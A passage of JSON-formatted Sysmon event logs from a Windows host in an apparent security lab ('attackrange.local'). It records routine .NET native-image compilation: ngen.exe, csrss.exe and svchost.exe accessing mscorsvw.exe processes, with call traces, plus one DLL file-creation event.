t.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6680,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:56.650\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4263-5F2D-0000-0010B7170A00}\r\nTargetProcessId: 4384\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:56.650","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4263-5F2D-0000-0010B7170A00}","TargetProcessId":"4384","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6681,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:56.650\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4263-5F2D-0000-0010B7170A00}\r\nTargetProcessId: 4384\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:56.650","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4263-5F2D-0000-0010B7170A00}","TargetProcessId":"4384","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6682,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:07.072\r\nProcessGuid: {90617006-4278-5F2D-0000-00108D5D0A00}\r\nProcessId: 4384\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1120-0\\PresentationCore.dll\r\nCreationUtcTime: 2020-08-07 12:01:07.072","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:07.072","ProcessGuid":"{90617006-4278-5F2D-0000-00108D5D0A00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1120-0\\PresentationCore.dll","CreationUtcTime":"2020-08-07 12:01:07.072","EventReceivedTime":"2020-08-07 12:01:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6683,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:07.307\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4283-5F2D-0000-00102C650A00}\r\nTargetProcessId: 4912\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:07.307","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4283-5F2D-0000-00102C650A00}","TargetProcessId":"4912","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6684,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:07.307\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4283-5F2D-0000-00102C650A00}\r\nTargetProcessId: 4912\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:07.307","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4283-5F2D-0000-00102C650A00}","TargetProcessId":"4912","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6685,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:07.322\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4283-5F2D-0000-00102C650A00}\r\nTargetProcessId: 4912\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:07.322","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4283-5F2D-0000-00102C650A00}","TargetProcessId":"4912","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6686,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:07.963\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-425A-5F2D-0000-001009E20900}\r\nTargetProcessId: 1324\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:07.963","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-425A-5F2D-0000-001009E20900}","TargetProcessId":"1324","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6687,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:07.963\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-425A-5F2D-0000-001009E20900}\r\nTargetProcessId: 1324\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:07.963","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-425A-5F2D-0000-001009E20900}","TargetProcessId":"1324","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6688,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:07.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-425A-5F2D-0000-001009E20900}\r\nTargetProcessId: 1324\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:07.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-425A-5F2D-0000-001009E20900}","TargetProcessId":"1324","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 